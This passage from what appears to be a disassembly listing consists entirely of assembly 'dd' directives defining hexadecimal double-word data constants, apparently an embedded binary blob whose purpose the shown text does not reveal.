50F03D4h, 64E3A39Bh, 38EB16D0h, 21EE99F2h, 9A30620Eh dd 0CCB520F4h, 0C08A32h, 4593EFD8h, 4D18CEB2h, 0A928F77Ah dd 961DA459h, 1E4039C2h, 7BFED578h, 0B88600E8h, 71AEFFAh dd 0CE02BF99h, 87CCE2BCh, 56C78F0h, 0E0E8BA59h, 0F2E00EE6h dd 88DFC220h, 0B7009BC7h, 18A174C6h, 0CBF8B9h, 6A2999E7h dd 9BCC5448h, 94B8A42Ch, 5CCEEE00h, 0E9EAC5h, 3915DD74h dd 0A8796317h, 13B080Fh, 0BFE660BCh, 2424446Ah, 7942A74h dd 7723E1C2h, 9DF9D038h, 0DF00F3EFh, 90463D10h, 0D1D68Ah dd 71990FD7h, 0DBAE4F01h, 64C64400h, 29A0C560h, 2C17007Ch dd 0E722BF94h, 0E288F002h, 77813EEh, 60B002F1h, 850D891h dd 0CD4DE900h, 3413CE04h, 818A1DF0h, 9000E511h, 0D4D5AD38h dd 5B7AFA02h, 80E4F320h, 0FDB787CDh, 0EC971CEh, 19DFF740h dd 3C06F140h, 18075915h, 0AA0EB24Bh, 3A4C02F0h, 86050289h dd 0BBB3E057h, 2200D472h, 322AEC7Eh, 5520B6h, 4C2E0966h dd 0BB0DFA81h, 4F1A1400h, 0FEFF6933h, 782F0CCh, 790E417Eh dd 0D50C00C4h, 0AB00B5EFh, 0F5EEE188h, 7DE619DDh, 0F9DC00C1h dd 386AE31Fh, 9B27F8B2h, 0C65C80E1h, 42F2ACh, 57F64809h dd 33FAA998h, 76296B00h, 0F53BC98Ch, 53770Bh, 3AD2B4A8h dd 0BF7139EFh, 0DA954800h, 6D15CACDh, 8A0D0543h, 0C3C7C085h dd 9FC0FD36h, 0FB2CD5CBh, 89806C10h, 48B22EA3h, 0BA7A00F2h dd 2233E170h, 0A206FFA8h, 2EAF975Fh, 27A90099h, 1D516D10h dd 310E55A8h, 78D9BC22h, 0F8295720h, 0C91E0059h, 101A67DBh dd 0A700974Ah, 2ACE7B1Ch, 3A693A2h, 70C2A020h, 0F0A76971h dd 5C07D2FBh, 0F501BB90h, 3FDFF240h, 482CD9D3h, 227EB500h dd 0C26E1F5Dh, 285488C0h, 7D2CCCh, 0BD93F5F3h, 0A46F72DEh dd 1B07B3Eh, 0EC42AED8h, 9AE8FC28h, 0DED00A9h, 0BC7E29FEh dd 0B91D1CF9h, 8C4CB4CDh, 41807h, 7E727693h, 3B5AB51Ah dd 0F0442F2Dh, 5120C147h, 8953D0BCh, 0FC4391h, 1A4923ECh dd 35CF0001h, 0F3A8EE0Fh, 2460AAC3h, 38D55318h, 0F640CF4Fh dd 0F16484Fh, 420104D5h, 8537F2CAh, 3D25C670h, 6191C820h dd 5C5539ECh, 0F1BD4298h, 21C6173Ah, 0E689C4BCh, 51AD60E5h dd 99B5590Fh, 0D1471930h, 0EE1209C3h, 0A7F1141Ah, 420F205Dh dd 0D623446h, 0ECA02952h, 0C56DB4D4h, 0DCB8D779h, 98FC7F30h dd 24341AFh, 0A4BFE1E7h, 608099B3h, 347F3D19h, 0D2FED03h dd 0D20A5B5Fh, 0E618E0BEh, 0A446038Fh, 9E05B7D3h, 0DB7FDFA0h dd 7C2B0100h, 4C9623AFh, 980D00F3h, 8136A61Fh, 0E200B33Ah dd 0C51AE78Fh, 0F47339h, 76A511E1h, 5EBA8434h, 0F855D300h dd 0ED64E0F0h, 82275CFBh, 311B72Eh, 171C9559h, 0A60497B8h dd 0AC960900h, 0C4B6BFE5h, 0A82879D9h, 197480h, 189F1768h dd 1097C20Bh, 216C08CCh, 68010049h, 25C9ECAAh, 51149F58h dd 0C84D55h, 0ACDD2E24h, 0A04421A9h, 1A2F5B4h, 17DB54C4h dd 51B34F2Fh, 0C4AF21D8h, 580607DDh, 53402BF2h, 214C6008h dd 0E2AFA780h, 4D022C00h, 0AB93E5BDh, 7B8D14A9h, 5999CCFEh dd 7BA11801h, 0A80710AFh, 62DFF0h, 0B5B15982h, 68527B5Fh dd 3B42AF00h, 16AA810Ch, 4A2D0A74h, 0B88CECD3h, 684E02C6h dd 31109F0Eh, 1620176Fh, 7715F968h, 0DDCB0067h, 3DFAFDC4h dd 8750243Ch, 0A8247390h, 0E9084417h, 0D40A0F1Fh, 7B59BE40h dd 6A006478h, 3095AE33h, 3AB9150h, 2B0C34B5h, 0A2E906D5h dd 0C4E240D7h, 157C9AE1h, 79C6D61Fh, 24B53EC0h, 1761A29Eh dd 0AACCE04Dh, 678C1800h, 1EDAF779h, 5BAE98h, 0B5EB1469h dd 4F7E7DF4h, 478D628h, 0D8712C18h, 66110h, 6973B59Ch dd 552F8D04h, 321D117Ch, 0B3DE5D93h, 601A8B82h, 0F8148416h dd 122BC821h, 6C9A10A7h, 840CB040h, 8B106642h, 73860082h dd 0A0D9DF89h, 1F191E2Ah, 68A80F24h, 0B53429A0h, 0FE00CB3Eh dd 0FD3E7F0h, 779B8BAh, 0F937F3FBh, 78B56156h, 0C6CDD4A1h dd 31005C79h, 0B3F1D60Eh, 3060F5A0h, 0D0F07A34h, 0DB0028F2h dd 30385451h, 1C9E9D66h, 64A5D7h, 0C85C40F7h, 2FECFD6Dh dd 14EDEA00h, 0B9A551F3h, 0F41300CBh, 0C8D998BAh, 24B033D6h dd 0EDDC7E07h, 4510D26Ah, 980CE2h, 0A6B19CA1h, 0C0B73A80h dd 0F9655028h, 9B02F100h, 0B84E2AB0h, 270D04ECh, 905B6EF6h dd 2915AFFCh, 0C6784000h, 0CF653EA3h, 6EB8C082h, 0FB929962h dd 0CA6B1B00h, 0F1D3B3D4h, 0D8C200E0h, 0EF95611Dh, 58071247h dd 53F6186Eh, 26798970h, 0FA4F0023h, 355751DDh, 0A975C276h dd 1115B300h, 0CA41309Ch, 3EB11FDCh, 2B2A0338h, 10906DECh dd 321F73B9h, 0A180C263h, 2E8482B7h, 7B3628BDh, 3F2F0180h dd 0E3C7919Fh, 4CF8E34Bh, 0DA0647D3h, 0EB8A7082h, 383A07F4h dd 8076067Fh, 75F6077Dh, 9712D500h, 0F73EBB85h, 0A14900E4h dd 1D3BC8FAh, 0B94823E5h, 4FBF0704h, 70C07AD8h, 58EFD0A2h dd 0A70ABDE6h, 8C7518h, 0C590ABBDh, 0D8044B07h, 6FB8160Bh dd 3DA2C0EFh, 0FEF66766h, 1CDC2E05h, 52802FC0h, 0FAB077h dd 2C06FFADh, 0A490BEE0h, 0C7070579h, 27A89CCAh, 5C521040h dd 2C07004Dh, 98C997C6h, 0DB0082DEh, 9066AD35h, 1D27E760h dd 6A40B5h, 824533E0h, 7C26DC38h, 2E00D6B4h, 0F1A99DB1h dd 149503E2h, 980B9A31h, 0E56E84F8h, 0CFBDD919h, 9460C628h dd 6C8903F1h, 0FC061BEAh, 34E12390h, 0E80055FEh, 0B080C624h dd 7FF3B47h, 9260E022h, 0F9E38061h, 4A0042DBh, 0FD575A66h dd 0F63AB7h, 5DBA6BF5h, 263D5B41h, 0B5781DECh, 0E9044800h dd 22CED486h, 0B2570110h, 0F771C378h, 9353D07Fh, 92A0A91Ch dd 7BF28A40h, 0B707D6A4h, 836E2740h, 0DA7ADC24h, 0C5263400h dd 4C33B8B1h, 8B00CFF6h, 0B674CABh, 0A3044766h, 0D37406D1h dd 7FEB38D0h, 7F3008Dh, 835DFEACh, 9C007BD8h, 282D429Ah dd 38CF32E8h, 0FDFBF2h, 3F8C0F33h, 0D3A3486h, 0A9820A00h dd 2128922Ch, 0CA6E09B4h, 0F400E6DDh, 0F6C9CCBFh, 0A0884001h dd 0E1FDAF4Dh, 146FB9F4h, 0AD8ED5DBh, 0C9C8D400h, 7F29DAA0h dd 48E69D00h, 0E5AB494Bh dd 0AA755Eh, 0C0F277CAh, 0F0C2A58Ah, 0CC99F428h, 3E825800h dd 166BCB42h, 0C97801C1h, 6D9B519h, 1D04C494h, 5823C600h dd 0F3A373ABh, 3A77867h, 0DA6C55F5h, 84E88857h, 8E00EA30h dd 84C1EBCh, 0D3533h, 71C048AAh, 9D540F1h, 7F00ECFAh, 4768B5B4h dd 0F7B90Fh, 5E554175h, 0F88BE50Eh, 71422800h, 65DCCE25h dd 20F70047h, 26DAC8A4h, 24E12B51h, 1D038D90h, 0B21781EDh dd 47E68093h, 62E91F33h, 0F4968FBDh, 4D1F3500h, 557DBBCDh dd 983AAB31h, 5CFC64DEh, 1E8783Fh, 1A5DE6D7h, 20AB6D5Ah dd 8D20A090h, 0C21B070Ch, 0C0E2821Ch, 7CBE750Fh, 0DCCBC501h dd 5AB9AD9h, 6560BC40h, 37A00FA6h, 0DE407835h, 0B54C4BB9h dd 107AF324h, 56430602h, 387260D5h, 3A4230D2h, 87336128h dd 0F017CD09h, 518500A9h, 29143Dh, 0EBF73501h, 442F15FBh dd 23531F0Fh, 4680A224h, 0F083E05Eh, 1900061h, 1BB32203h dd 16008B5Dh, 0C11A4BCh, 13D17Eh, 0FCB49A5Bh, 0A9FD07D8h dd 1AB01F2Ch, 2063E400h, 0D4130Dh, 0A87AF587h, 98BD9C89h dd 9ED03F01h, 53942A4Ah, 0FC03F4h, 74256665h, 51E43063h dd 0E78EAA00h, 0E220A152h, 0EDF126EFh, 0CCC998E8h, 9400A242h dd 0F5225D7Fh, 0AE13C0h, 3624CAFh, 8149DA25h, 91725900h dd 0CA6B7EAh, 50190016h, 85BAC8F3h, 130E4224h, 6A661E01h dd 9404CCAAh, 0B6607AC1h, 440074B9h, 7FCA6189h, 0F1135D7h dd 6BA48ABFh, 0EBCED5C2h, 3AFC3060h, 0ED6F4B00h, 84DF804Dh dd 16B70015h, 40B00850h, 10C30B4h, 102DEB0Fh, 0E43600FEh dd 5DD8D752h, 0A50716C0h, 0F7110C68h, 2785B9E0h, 18DFA2Eh dd 7CEB6B60h, 0F83DF1F8h, 74009A90h, 0C81FD987h, 3EFE60Eh dd 46DA669Fh, 0E49BB901h, 0EA6794A8h, 5700A57Ch, 0FD3C40A2h dd 0CF51E57Bh, 650FA870h, 0A36BC287h, 0F5880C20h, 0DB07AAB5h dd 83A8AF5Fh, 0B71071D3h, 88410780h, 17CBAADh, 26CD109h dd 200A6DE3h, 8B00B488h, 0C50EED9h, 60E4431Dh, 3C19349Ah dd 0F90035CCh, 59564C63h, 0B42D6h, 80645A0Ch, 265F4453h dd 0C0D7E228h, 2B06D408h, 45E74Ch, 960CF95Ch, 3F039D01h dd 98F5352Dh, 340860h, 0F9BE94B6h, 76118159h, 0C44F41Ch dd 0D92D2E05h, 0D26543C0h, 0F234B069h, 11372B3h, 435A36Bh dd 0D0605F22h, 0E500BBBEh, 0DC931D6h, 5BFB7h, 5B9D9395h dd 3DE6E467h, 56003498h, 0D4EA41F5h, 26859EAAh, 0A242751h dd 20B3EF72h, 71DF7180h, 0D8E84Ch, 915636ADh, 99C45305h dd 8028963Bh, 0EB440783h, 0FAFA9DCEh, 1F8D0081h, 95C641D7h dd 560006DEh, 997ECC5Bh, 74FE4630h, 33EE0503h, 0C147022Bh dd 8EDC4B78h, 60AB0960h, 0BFC12DF2h, 9D414848h, 50000A25h dd 0E1DFCEE2h, 54BC9D00h, 0D9F1177h, 36B0C4h, 0A03D38BFh dd 0FF68D233h, 515ECC00h, 0A2D3CDBBh, 5450010Fh, 526BC2Eh dd 0D0C830F0h, 0C6679B03h, 0F1AB98F2h, 0E072D9F9h, 18E92419h dd 848A803Ah, 9F479602h, 100B58E3h, 1110B800h, 0B6273DECh dd 0CC854B00h, 0E84634DCh, 47FA06DAh, 19118F0Eh, 7F285A00h dd 0BDB7809Fh, 9CEF0061h, 3E462926h, 8B26B1C3h, 0EE00D4B8h dd 3287D89Fh, 21150059h, 3D8CB716h, 52003C3Ah, 75FE6CFCh dd 2D298ED6h, 32F49732h, 40AD9000h, 8FB7C0h, 0D8A1CBEEh dd 0FF702775h, 0D41E891Eh, 0FA56D700h, 1AC8673h, 6651E39Bh dd 0D8992029h, 0E8009155h, 0F1133A80h, 619F0Ch, 74D8D316h dd 0A357A189h, 540A2400h, 0C3B3787h, 95820A09h, 80CC467Ch dd 6673AC9h, 52031718h, 0D7A59A75h, 5A6FC109h, 0EED020h dd 2512F2D0h, 0A6898F5Eh, 0EFAD800h, 0B07B5A26h, 0D3900A3h dd 42837C09h, 700A8ACh, 32C04F7Ah, 60E0D796h, 94DA113Eh dd 7B0BC2F2h, 0AC740FFAh, 0F675DC28h, 0BE2D002Bh, 0F222E3C9h dd 20CC613Dh, 3D3810CCh, 9709693Fh, 7204DDC4h, 1F21C08Ah dd 4C3E8EE4h, 5D2500A5h, 9DA157CBh, 1F53985Eh, 80DC8070h dd 8E511217h, 904C2B97h, 4035002Ch, 0CC757AFAh, 8B2D513Bh dd 19A542E8h, 205C8B6Bh, 0FCC0856Eh, 0C49302FAh, 2E2990D6h dd 6C780047h, 0DB51F465h, 0C80F0305h, 800D7A4Bh, 5456F12Fh dd 4D300085h, 0BC96AF16h, 9500473Eh, 0E044B631h, 9D717E5h dd 8D513AA5h, 43830500h, 0CD000B8Bh, 6E1C0CB9h, 71C873h dd 0D6BCE3A8h, 0D0CA7D51h, 0C3D5EE00h, 5F814FC2h, 9FF70021h dd 8802393Ch, 0CC00C6A3h, 1EB1F2E5h, 1020A2h, 583C4E13h dd 0E80371E4h, 606DD42Eh, 3696AE07h, 1A3AEE20h, 1D490752h dd 8069A332h, 0CAC44019h, 98022800h, 0F4E20C7Dh, 734D3EC6h dd 2DDF5600h, 12240145h, 0C8CAC002h, 60867F3Fh, 7D3466Eh dd 14C0317h, 0F220C1FAh, 99144111h, 51002EB7h, 50DA8433h dd 675700CFh, 0ACF5829Fh, 5C30C018h, 11CA08C6h, 0FCDEF0ADh dd 42B0009Fh, 9B74361Eh, 0D107D83Ah, 65FFAF8Eh, 0E63729D0h dd 80F60043h, 2F8C7FABh, 5967AC06h, 61D0FB49h, 0BD7CF0h dd 1A016AD3h, 0D07FA170h, 1671200Eh, 3AC19DE1h, 0FCE6A088h dd 1127E0E7h, 8F98D9h, 244EE231h, 76CF214Ch, 8D59C465h dd 0F0D8D386h, 0C2720003h, 784258EFh, 4E18D0D4h, 4A281F8Fh dd 458C0F4Dh, 462004C5h, 0FF731830h, 0AC9F4E0Fh, 0DE18088h dd 1CCC043h, 1DC88251h, 93BC3C25h, 45062868h, 711E9BAh dd 4FD15F42h, 0FCF209Ch, 0FD0E775Ah, 60727A45h, 4C8DF9A9h dd 0DDEAD7h, 639FC08Eh, 0BC8923AAh, 22C45100h, 0B2315F8Ch dd 0E27D076Ch, 0E0432C82h, 0B9DFF6E3h, 553EFF7Ah, 798400CAh dd 72228889h, 9693009Bh, 0EB8FC269h, 0E1004D1Fh, 0D7515745h dd 0C481A384h, 978729h, 0E876CD46h, 0A5021EEBh, 0C0CEDE71h dd 0D22FEEFDh, 90EC090Ah, 8D00E9FCh, 77FC827Eh, 3ED4869Eh dd 578019F6h, 0A0E32EB7h, 3B7E2885h, 0E615E100h, 0E8C72BA9h dd 0E0E4EC3Dh, 0E9AD001Eh, 0CC1BF7D1h, 39014361h, 0E8BD381Ah dd 0AFC855B0h, 26CA00ADh, 0E32B28EDh, 0B6E00993h, 117D400h dd 3E0D5A08h, 3E2B8BAh, 0DF2EEE1Ah, 980403Fh, 5EE0E2D4h dd 327B4700h, 65C6EDAEh, 34A10318h, 0DF8BC353h, 0A46C1003h dd 98F87943h, 28AAB321h, 1AC9C64h, 8A1E312Fh, 0D01B60D6h dd 87005BBCh, 0DB4A817h, 0B7F2936h, 2112FBFCh, 6809E580h dd 0D3005B46h, 3C800C11h, 60D4752Fh, 0A3332618h, 90047DEh dd 127B4972h, 14483C4h, 582718A7h, 0E0EECDB8h, 810F4C36h dd 60EA4D01h, 0D342C28Dh, 0B05B00D4h, 9CFCDAF1h, 0FCA02A21h dd 6124A663h, 0EA0ED35Dh, 80D10BDBh, 4086C05Dh, 0F771383Fh dd 0B1A993h, 707F91A3h, 0A40015ABh, 0A34861Ah, 8B78A0h dd 0D0BD598Fh, 0BBE59654h, 0E8A69301h, 30165152h, 602D7470h dd 0CD8318EFh, 0DB009E81h, 0BF08A9FBh, 5FA56C82h, 0FFDBE0B1h dd 7B4C58h, 0B331DC71h, 348528h, 67CF050Ch, 0D3EDDE69h dd 15941A13h, 0C408B900h, 246519ADh, 2668CBFBh, 8CFA00E0h dd 10DBFCF4h, 40B3740Eh, 152FA0C3h, 835575h, 4E6E22BAh dd 0A14A3026h, 0A841D509h, 2DC98110h, 0B6D95AB5h, 1816C3C4h dd 786C9F38h, 5500E6ADh, 2933BEBBh, 0C096C8EFh, 17C4BA18h dd 29C06D79h, 8D1DAC99h, 938C5C6Bh, 3128D10Ah, 0A8B00B8h dd 5A4B0932h, 133EDF00h, 95BD6FE4h, 6E8F04CFh, 0C2920F0Eh dd 33E0140Ch, 2F00DBC4h, 0D48CB06Bh, 0A0E94Eh, 0E067F091h dd 88456DCAh dd 0B3A9E700h, 4AFF92B7h, 0A6CE12F4h, 4D60401Eh, 63D8E96Fh dd 19E1800h, 5791DF05h, 0CE760004h, 0F525D471h, 4909E365h dd 0A0D5A90Dh, 0EAD95108h, 0CAD5A009h, 52B7395Bh, 42DA92h dd 0A0B0760h, 0AB1C3505h, 2100028Dh, 0BDDDBE25h, 0A9FE00F7h dd 0A2C0DAE4h, 0CF00EDBFh, 4B1826Ah, 202B2B9h, 133394DBh dd 0D880BCA1h, 91C33CA3h, 55B35E00h, 37476BFFh, 0F9FD0072h dd 0A12B0560h, 94008793h, 0CCB280Eh, 751AE7Eh, 0E5A5E499h dd 6965E0C8h, 0AF003089h, 0F048E190h, 4A70CFh, 7F949132h dd 0ED517731h, 160EBDFEh, 208F5BFEh, 842162D8h, 0D880E72Eh dd 0CF0FD5D2h, 0AFA094D4h, 0AA00F5C8h, 4E6B3A72h, 65B840h dd 37431789h, 1577F76h, 84009AB0h, 0DBDA2156h, 64032A7h dd 53A69A15h, 3600E0C9h, 0BDCF1D48h, 0F888CEE3h, 72A705Ch dd 0E4FDE898h, 0A624801Eh, 0EE4C38BFh, 57F80054h, 9A489008h dd 4FF50085h, 4C7E0344h, 60126A0Dh, 340E6D96h, 0DF98C0E5h dd 771253h, 95B88540h, 0DA30B68Dh, 84EC8700h, 5018783Ah dd 5F5D00B0h, 276FE59Ah, 0E3709544h, 0B57ADB00h, 0C2429CCBh dd 0A15E2C18h, 1C3D00ABh, 8BE1C681h, 85CFEC00h, 4CC56105h dd 88171C86h, 3280BC16h, 0D19F4A27h, 46F8B5CBh, 0DFBCC901h dd 2D298D59h, 0D40BF0h, 7C51B3CEh, 63D2517h, 0B800D67Ch dd 35C99E38h, 0D590DEh, 71D25B67h, 0BDE06EFDh, 2EC15E00h dd 7CBC5395h, 189F03CFh, 44325FBh, 0A8A214A8h, 4AC5231Eh dd 0B4BB170Ah, 9864F200h, 8B2B38h, 69CD8635h, 1DB2686Dh dd 4F62B71Dh, 4200DA6Ch, 6A0243F3h, 5C6B0EAEh, 0C6A01AFFh dd 666220D8h, 2B4058h, 4E660E2h, 738A487h, 5244ACFEh, 4E67B021h dd 50003BC3h, 412DDA8Eh, 0DC2585h, 9744723Fh, 0A45F39D0h dd 912EE700h, 0E4200E55h, 4B670B7Dh, 830045C5h, 92CF245Ah dd 83483D03h, 0D3799EABh, 0E821E05Dh, 158100B2h, 0D3AF3637h dd 4F0FC898h, 41609C3Ah, 9B4AF4F8h, 0BAD424h, 163E03E2h dd 58C048C4h, 0D15D131Ch, 1F00CBD7h, 0B05A1764h, 0D65B00EEh dd 521F8426h, 9F0F02B8h, 0F8D3AD2h, 9C03003Bh, 68F93A9h dd 0DF428935h, 820E6030h, 3BE79ABh, 0A873F8Ch, 0C04977F2h dd 0F7A9010h, 4E873854h, 469A805Eh, 0A00BC3CBh, 91B54h dd 90C62358h, 84F65AB7h, 0EEC38E07h, 0F7611018h, 42C0BB81h dd 14C60FCCh, 7E034DDh, 0EDCA60D5h, 5FB1900h, 0D22AC90Ah dd 35B5002Eh, 0AEE6C8DDh, 9760C098h, 0ED498668h, 0A2B7B51h dd 0DE428C90h, 25E30254h, 60B0B0DFh, 20A192B1h, 0B7388025h dd 6E57103Ah, 3B0A002Bh, 0A279ECA5h, 0E3F89244h, 9B7B80B8h dd 172A6900h, 9F9C6BDFh, 0D18500B7h, 0A6CAEFABh, 2D00EA28h dd 0A9F231B6h, 3344BEh, 0C23216E1h, 0F6518666h, 0AEC3450Bh dd 3CCA00FEh, 247E2137h, 0A90C97h, 0AA7F3204h, 380015A0h dd 1AEFAE9Bh, 0BAADBBh, 5E4ECDC9h, 0C6918523h, 389F361Ch dd 0CE5CCFh, 0F3AE5A0Ch, 162C002Dh, 0CB9466E4h, 787BF0EFh dd 1741A701h, 3F0FD9F6h, 6D99E8h, 9561CA66h, 75DAA551h dd 599EF200h, 5C7C94Fh, 0C88B00EFh, 9F1382E4h, 547AC0A1h dd 0A618D801h, 4CBB3F90h, 678CA440h, 4DA500FBh, 279C45ACh dd 70006BA2h, 2C9AF411h, 3D950FAAh, 0CAA409B4h, 27003FD8h dd 0A60B5A72h, 0ADF29647h, 8D384500h, 0F182DC42h, 0C3D8E7BDh dd 0E21A0E26h, 0BA804FA4h, 0A1E13B33h, 0A285F203h, 88DF95D3h dd 0F80ADD42h, 0C691C368h, 0E3B093A5h, 0DF00A26Ch, 964F91B1h dd 1EAD027Ch, 4459381Bh, 0C0D86D19h, 1DCC14A2h, 79B1EB00h dd 17D03DA8h, 60C14953h, 1E2E0700h, 0E9B8549Dh, 934F4F0h dd 0B30EA0C5h, 0D885A3D1h, 0F7A0E8D4h, 0ED310004h, 0BEC38418h dd 44000E9Eh, 0E8428135h, 75B66870h, 516B05B2h, 8055021Bh dd 0D8742346h, 0BE4350C0h, 3B43D96h, 734D7F4h, 0E001D2D3h dd 591AB855h, 9983C4CDh, 0F20BC92Fh, 74D33900h, 0D2529A63h dd 3BA40033h, 4213CFE0h, 691C9768h, 16C3772Bh, 0F0F5BB34h dd 7DC1CB7h, 2015CB5Eh, 0A577D098h, 0EF001B95h, 8E4F2CCFh dd 0E2E5C32h, 3D542A14h, 0EC216B8Dh, 0C80051DBh, 1CB3ED25h dd 0F2019Dh, 6C1FBC15h, 86DD181Eh, 5D98F403h, 0A85F2C33h dd 0DA4B91Bh, 6D1464CEh, 0D07B6048h, 0E402EC00h, 686F1D71h dd 60CCE874h, 0F7D420A4h, 1507A1D8h, 82D30241h, 121703A0h dd 811406E6h, 909EC1F9h, 0BC956F2Ch, 2C834600h, 0E20B4DEDh dd 0C27F2D7h, 919B5F1Ah, 1007529h, 0CE069054h, 0C6189CF3h dd 200B3009h, 54E95503h, 0EBA60687h, 0B5E2D0C6h, 5D503DB1h dd 819B6F80h, 0E99EBC9Dh, 0A63072FCh, 893B8110h, 0B3CA00E3h dd 9291FD8Dh, 2EE808D8h, 956E1000h, 0F3E384D0h, 0CF8F00D3h dd 1C83DB5Bh, 50004D06h, 8042251Bh, 50B11401h, 0F6E30C3h dd 67D72D9Bh, 70518807h, 0C4CD8A4h, 5F3920E4h, 0D179807Eh dd 0E32495D6h, 55EB00E0h, 0CE803F9Ah, 35007566h, 632EB8D9h dd 70021A58h, 985900E0h, 80DAEADDh, 814AA673h, 7500C2FCh dd 58FD88FAh, 1C0FD25Ch, 86C3DA97h, 3D4F118h, 40C42702h dd 1006A10Bh, 24AA5D1Eh, 0FBC60E28h, 3560AD1Ah, 34A9DB5Fh dd 95AE1203h, 0CFD151EBh, 0CBDC3E20h, 0DE08CCF9h, 0C413F621h dd 7200DA51h, 0A0CE4730h, 300B508Dh, 0B632409Eh, 836031D8h dd 0EF0486DCh, 0F1DBC551h, 8A20D362h, 31151DEh, 0FC9C010Fh dd 7580996Eh, 0D807CC4Dh, 0C1423AA2h, 2C3970C0h, 19D06119h dd 80115Ah, 30381AF0h, 0B550376Eh, 24008E54h, 486B9A18h dd 0C1D4A349h, 0AFEF1E08h, 230730B5h, 0ACE6FC00h, 44E5B65Eh dd 584E61DFh, 0F46F75BEh, 570E6861h, 870B5840h, 0D4B0A994h dd 0B7F403D2h, 0D100F058h, 0C3E17C1Ah, 76597350h, 0B6AC00B5h dd 0FF5BCE10h, 0C709988Bh, 7FAE335h, 0D1297B8h, 2D9A803Ch dd 0C5AA30h, 3AB694ECh, 0A0625945h, 0CA1728E2h, 0EB10DEA4h dd 13FFEE04h, 0B820C37Eh, 0F34A95h, 0D7E408C4h, 411BB69Dh dd 0C929DC03h, 0E0F65546h, 0E63160ACh, 0F89D7196h, 191C605Bh dd 0D5498887h, 306BAF0Eh, 7CB383D2h, 0C021DE53h, 1D3A310h dd 0BB3E5650h, 5D007BEAh, 0CDFA7405h, 1FC67830h, 0F53D8Ah dd 52DE68A8h, 0B3F8A569h, 27B06EEFh, 0E9F06Dh, 0C3AD4AD5h dd 0FE07D2D1h, 0AFD0CD1Fh, 84F5003Ch, 0A3953F0Ch, 40A0D0ABh dd 98316C1Fh, 15F9B86Bh, 0A37BE000h, 12AB17AAh, 1C901A0h dd 0BE07AE20h, 0EBC88F73h, 210010D1h, 35B41AD2h, 9D00AB0Bh dd 0B831AA10h, 14A5640Ah, 3457BEDEh, 8ADDEE00h, 9CBCF53h dd 0D563F9C1h, 0D0FCFBF2h, 0D29D1EA7h, 3203FE02h, 0F033CF91h dd 5203AB92h, 314E00D9h, 0D361FF2Eh, 280FB3A3h, 8FB93E75h dd 77CB9F24h, 2AB778C8h, 3ACB402h, 2C7C5486h, 10007A3Eh dd 70AA5CAFh, 18C0A0F1h, 1956CFC6h, 520C11B3h, 0C08E4588h dd 1B18183Ch, 0A8AA80ACh, 0D7CA4B01h, 6A67E42Eh, 74A69840h dd 0BD241527h, 21C824D2h, 0FA41FF64h, 8009F11Dh, 0A86EEF18h dd 83330Dh, 0D1886126h, 23BD72BCh, 64A73F00h, 9CADCD9Ah dd 6E150199h, 9EF33D33h, 6090818Bh, 0A56BA8BAh, 0F209ADCh dd 2199A3ECh, 7D1E44Ah, 6B7E7586h, 76CA6480h, 0B5A37BE8h dd 912947E0h, 494258AEh, 7C06F021h, 28BEAFh, 8A86739Eh dd 6A943167h, 70087491h, 3BD401F5h, 50B3CA29h, 0A03DB9BCh dd 48C13A72h dd 7465686Dh, 38AD5420h, 0DF3CFB2Ah, 1655F986h, 32001861h dd 0F3CD723Dh, 1284F6ACh, 0BB4D2274h, 941C71Ch, 8961A4BEh dd 721A2824h, 55F3E8Eh, 21D22312h, 25A51E74h, 78904440h dd 0B52031F4h, 2A2D0665h, 20A8468Bh, 81A38A0Ch, 0EE706916h dd 98260305h, 0B02D9B68h, 41FCE044h, 33B8D500h, 61F252AEh dd 0AC5D70FDh, 0E47D1034h, 0E2668064h, 19035C61h, 28D56C56h dd 9DCC2040h, 0B8BABF07h, 0A775D97Fh, 0D8589C00h, 9F3DCDE9h dd 2FD4EEE0h, 0A8C2B714h, 0A3871C8Ch, 2FAC4189h, 0D068A06Ch dd 9549B62h, 5AA47F1Bh, 17BF3F00h, 0E70F744Fh, 8AB329h dd 0AB7A2EC6h, 0D03025Eh, 6673AC37h, 50025C89h, 0B404F448h dd 49EAC05Fh, 0BEC5684Fh, 7CC47852h, 284A1800h, 0F862E836h dd 5020E1B9h, 0CAB20070h, 8AFBDF14h, 5C308601h, 0CBAFB90Dh dd 643A2AEAh, 0B9230280h, 6F274F8Ch, 15538868h, 511874E4h dd 2F807B5Ah, 2AA90963h, 8061227h, 0F20848AFh, 80D03ADFh dd 3715520Dh, 27282687h, 9B0E1446h, 0DF3DC5A3h, 8368E23Bh dd 6D4D23B4h, 205F8020h, 81F7AE2Fh, 1CF151E8h, 8480AF3Eh dd 0A83423A4h, 550064EFh, 0FA5691DCh, 41BB833h, 49789E3Eh dd 0F9C9408h, 30CFCD20h, 5634B980h, 0D10F3257h, 0CC557433h dd 3DB16Dh, 0DD3E2112h, 79BEFB0Ch, 21820E7h, 52EEC100h dd 1A7726DCh, 710602BDh, 1253969h, 0A822B860h, 99C3110h dd 0E56FA602h, 360D43Bh, 0D6726A59h, 0BF2903F8h, 0DC00E850h dd 9C5D82A2h, 0AA07EA1h, 0D1B9D0F2h, 0B2CA81BCh, 4CBD9650h dd 0A05939FCh, 0D5BF0310h, 0A05683E6h, 20598D6h, 0CE026625h dd 2040CF50h, 6402AE3Fh, 186CBA1Eh, 49A183D6h, 73E79FA0h dd 98AF9342h, 403FBEB0h, 9706CADFh, 0E4F123BCh, 60E0EB10h dd 4E179A0h, 65D2A99Eh, 0C05088BDh, 7E31AD01h, 7B820CACh dd 3C57C500h, 0D0EB2439h, 4E004DB0h, 3699E923h, 34F2D303h dd 0C741A7DEh, 12328070h, 0E52886D7h, 4E00B30Bh, 3EEA21E2h dd 50998594h, 3C9CD048h, 9801F37Fh, 66AFA064h, 601AD150h dd 6A406CF8h, 1C5F0D22h, 3411D4B4h, 0C03EBCB4h, 1421A8EAh dd 0C1039F03h, 2A5E6433h, 0ACB030h, 8729091Dh, 0E12E1499h dd 98D4B900h, 0C96A01CEh, 24F907DDh, 49DF3028h, 89D13380h dd 0C90C387h, 664160Fh, 3FC05D01h, 0C13C7EAh, 0E8B09079h dd 40EB0088h, 5CC6D26Ch, 9301A1C9h, 0B6587B3Ch, 0F4FC0318h dd 40A30FB5h, 28136F68h, 0FF2CDAE0h, 5B628088h, 0D4FC48E0h dd 1CE74875h, 13932849h, 7185F12h, 96C84919h, 34AB300Eh dd 8AAE4FE4h, 9841E862h, 8C20C595h, 683448ACh, 3D242490h dd 4BBF02A0h, 461D22Dh, 22B6029Bh, 206452F3h, 0CB4F420h dd 0A0633313h, 49D86A28h, 92E3CD28h, 73F480C8h, 69876351h dd 0D2E231AEh, 559244E0h, 20841532h, 